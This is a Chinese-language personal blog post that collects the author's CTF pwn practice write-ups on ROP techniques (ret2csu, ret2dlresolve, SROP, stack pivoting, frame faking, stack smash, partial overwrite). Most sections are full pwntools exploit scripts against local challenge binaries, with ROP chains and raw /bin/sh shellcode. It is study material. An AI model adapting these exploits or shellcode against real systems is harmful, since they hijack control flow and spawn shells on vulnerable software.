部门要准备十一月份的比赛,我也跟着报了个名。虽然自己的pwn现在还很水,但是想着趁这个机会督促自己一把,花点时间好好练一些题。平时除了练题,还有其他工作上的事要做,所以这个只是简单地把我做过的题目的write up做了个罗列,还木有时间写详细的分析过程啦。不过想想,除了自己可能也没谁会来看,等以后有时间(呵呵呵)了再回过头来整理吧~
中级ROP
题目1 ret2csu
ret2csu主要是利用__libsc_csu_init()函数中的gadget,如下代码片段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn
|
将0x40061a至0x400624命名为“片段1”,0x400600至0x400614命名为“片段2”。利用ret2csu时,首先将eip劫持到“片段1”,并通过在栈上提前布置rbx,rbp,r12,r13,r14,r15,达到控制寄存器的目的,再利用片段1中的额retn使程序流转到片段2去执行。片段2中会将r13,r14,r15(低32位)分别用于控制rdx,rsi,edi,如此便能控制64位下的前三个函数参数。紧接着有一条call指令,只要提前将r12控制为目标函数(目标函数地址存放的地址),并将rbx置为0,就可以实现任意函数执行了。后面还有个cmp(提前将rbx设置为0,rbp设置为1)以及一些列pop,提前构造好后,程序会再次运行到最后一行0x400624,此时还可以劫持一次eip,让程序继续执行(如回到main函数)。
这里使用的示例程序是level5,分析后,构造的第一次ret2csu状态如下。执行完csu_front(上文中的片段2)后,会继续执行片段1,为了控制最后一行0x400624 retn时的eip,需要在栈上填充0x38字节数据(为了安全执行完0x400616至0x400622之间的代码)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| +--------------------+ | csu_front:0x400600 +--------------------+ | r15 | 1 +--------------------+ | r14 | got_write +--------------------+ | r13 | 8 +--------------------+ | r12 | got_write +--------------------+ | rbp | 1 +--------------------+ | rbx | 0 +--------------------+ | ret addr | csu_end:0x40061a +--------------------+ | ebp | 'aaaaaaaa' +--------------------+ | | | 'a'*0x80 | | | +--------------------+ buf
|
该题exp如下,用到的libc是我本地ubuntu18.04的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./level5") myproc = process(myelf.path)
csu_front = 0x400600 csu_end = 0x40061a
got_write = myelf.got['write'] got_read = myelf.got['read'] bss_addr = myelf.bss() main_addr = myelf.symbols['main']
def ret2csu(rbx,rbp,r12,r13,r14,r15,next_addr): payload = 'a'*0x80 payload += 'deadbeef' payload += p64(csu_end) payload += p64(rbx) payload += p64(rbp) payload += p64(r12) payload += p64(r13) payload += p64(r14) payload += p64(r15) payload += p64(csu_front) payload += 'a'*0x38 payload += p64(next_addr) myproc.send(payload)
myproc.recvuntil("Hello, World\n") ret2csu(0,1,got_write,8,got_write,1,main_addr) write_addr = u64(myproc.recv(8))
myproc.recvuntil("Hello, World\n") ret2csu(0,1,got_read,20,bss_addr,0,main_addr)
libc_base = write_addr - 0x110250 exec_addr = libc_base + 0xe4e90 bss_data = p64(exec_addr) + "/bin/sh\x00" myproc.send(bss_data)
myproc.recvuntil("Hello, World\n") ret2csu(0,1,bss_addr,0,0,bss_addr+8,main_addr)
myproc.interactive()
|
题目2 ret2reg
题目3 BROP
高级 ROP
题目1 ret2_dl_runtime_resolve
_dl_runtime_resolve: https://www.jianshu.com/p/57f6474fe4c6
深入了解GOT,PLT和动态链接: https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html
以上结合https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/ 可以写一篇笔记记录一下。免得以后忘记。
练习题目我的wp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
context(arch="i386",os="linux",log_level="debug")
myelf = ELF("./main") myrop = ROP("./main") myproc = process(myelf.path)
bss_addr = myelf.bss() new_esp = bss_addr + 0x500
myrop.raw('a'*112) myrop.read(0,new_esp,100) myrop.migrate(new_esp)
myproc.recvuntil("Welcome to XDCTF2015~!\n") myproc.sendline(myrop.chain())
myrop2 = ROP('./main') sh = "/bin/sh" plt_addr = myelf.get_section_by_name('.plt').header.sh_addr rel_plt = myelf.get_section_by_name('.rel.plt').header.sh_addr
write_got = myelf.got['write'] r_info = 0x607
fake_index = new_esp + 24 - rel_plt
myrop2.raw(plt_addr) myrop2.raw(fake_index) myrop2.raw('aaaa') myrop2.raw(1) myrop2.raw(new_esp+80) myrop2.raw(len(sh)) myrop2.raw(write_got) myrop2.raw(r_info) myrop2.raw('b'*(80-len(myrop2.chain()))) myrop2.raw(sh) myrop2.raw('b'*(100-len(myrop2.chain()))) myproc.sendline(myrop2.chain()) myproc.interactive()
|
题目2 SROP
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop
拓展:https://bbs.pediy.com/thread-258047.htm
练习题目我的wp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./smallest") myproc = process(myelf.path)
ret_start = 0x4000b0 ret_syscall = 0x4000be
payload1 = p64(ret_start)*3 myproc.send(payload1) myproc.send('\xb3') stack_addr = u64(myproc.recv()[8:16]) log.warn("stack_addr is: 0x%x" % stack_addr)
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rip = ret_syscall sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr
payload1 = p64(ret_start) + 'a'*8 + str(sigframe) payload2 = p64(ret_syscall) + 'a'*7 myproc.send(payload1) myproc.send(payload2)
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rip = ret_syscall sigframe.rdi = stack_addr + 0x150 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr
payload1 = p64(ret_start) + 'a'*8 + str(sigframe)
payload = payload1 + 'a'*(0x150 - len(payload1)) + "/bin/sh\x00"
payload2 = p64(ret_syscall) + 'a'*7 myproc.send(payload) myproc.send(payload2)
myproc.interactive()
|
题目3 ret2VDSO
ROP Tricks
题目1 stack pivoting
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(arch='i386',os='linux',log_level='debug') myelf = ELF('./b0verfl0w') myproc = process(myelf.path)
offset = 36
shellcode_x86 = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
payload = shellcode_x86 + 'a'*(36- len(shellcode_x86)) + p32(0x08048504) payload += asm('sub esp,40;jmp esp')
myproc.recvuntil("What's your name?") myproc.sendline(payload)
myproc.interactive()
|
题目2 frame faking
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * context(arch='i386',os='linux',log_level='debug') myelf = ELF('./over.over') myproc = process(myelf.path) mylibc = myelf.libc
offset = 0x58 total_len = 0x60
payload = 'a'*0x50 myproc.recvuntil('>') myproc.send(payload) prev_rbp = u64(myproc.recvuntil('\x7f')[-6:].ljust(8,'\x00')) log.warn('recieved: 0x%x' % prev_rbp)
pop_rdi_ret = 0x400793 rbp1 = prev_rbp-0x20-0x50 ending = 0x4006be leak_libc_chain = 'a'*8+p64(pop_rdi_ret)+p64(myelf.got['puts'])+p64(myelf.plt['puts'])+p64(0x400676) payload1 = leak_libc_chain+(0x50-len(leak_libc_chain))*'a'+p64(rbp1)+p64(ending) myproc.recvuntil('>') myproc.send(payload1) leak_puts = u64(myproc.recvuntil('\x7f')[-6:].ljust(8,'\x00')) log.warn('recieved: 0x%x' % leak_puts) log.warn('mylibc.sym: 0x%x' % mylibc.sym['puts']) libc_base = leak_puts - mylibc.sym['puts'] log.warn('libc_base: 0x%x' % libc_base)
pop_rdx_rsi_ret = libc_base + 0x115189 exec_addr = libc_base + mylibc.sym['execve'] bin_sh = libc_base + next(mylibc.search("/bin/sh")) rbp2 = prev_rbp-0x20-0x50-0x30
exec_chain = flat(['a'*8,p64(pop_rdx_rsi_ret),p64(0),p64(0),p64(pop_rdi_ret),p64(bin_sh),p64(exec_addr)]) payload2 = exec_chain + (0x50-len(exec_chain))*'a' + p64(rbp2) + p64(ending) myproc.recvuntil('>') myproc.send(payload2)
myproc.interactive()
|
题目3 Stack smash
2015年32c3 ctf readme
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context(arch='amd64',os='linux',log_level='debug') myelf = ELF('./readme.bin') myproc = process(myelf.path)
argv0_addr = 0x7fffffffdda8 name_addr = 0x7fffffffdb90 backup_string = 0x400d21 payload = 'a'*(argv0_addr-name_addr) + p64(backup_string)
myproc.recvuntil("Hello!\nWhat's your name? ") myproc.sendline(payload) myproc.recvuntil("Please overwrite the flag: ") myproc.sendline('aaa') myproc.recv() myproc.interactive()
|
题目4 栈上的partial overwrite
2018-安恒杯-babypie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('./babypie') myproc = process(myelf.path)
payload1 = 'a'*(0x28+1)
myproc.recvuntil("Input your Name:") myproc.send(payload1) myproc.recvuntil('a'*0x29) canary = u64('\x00' + myproc.recv(7))
payload2 = 'a'*0x28 + p64(canary) + 'a'*0x8 + '\x3E'
myproc.recvuntil(":\n") myproc.send(payload2)
myproc.interactive()
|
2018-XNUCA-gets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * context(arch='amd64',os='linux',log_level='debug')
for i in range(0x1000): myelf = ELF('./gets') myproc = process(myelf.path) try: payload = 'a'*24 + p64(0x40059b) payload += 'aaaaaaaa'*5 + p64(0x40059b) payload += 'aaaaaaaa'*5 + p64(0x40059b) payload += 'a' * 8 * 5 + '\x26\x02' myproc.sendline(payload) myproc.sendline('ls') data = myproc.recv() print data myproc.interactive() myproc.close() except Exception: myproc.close() continue
|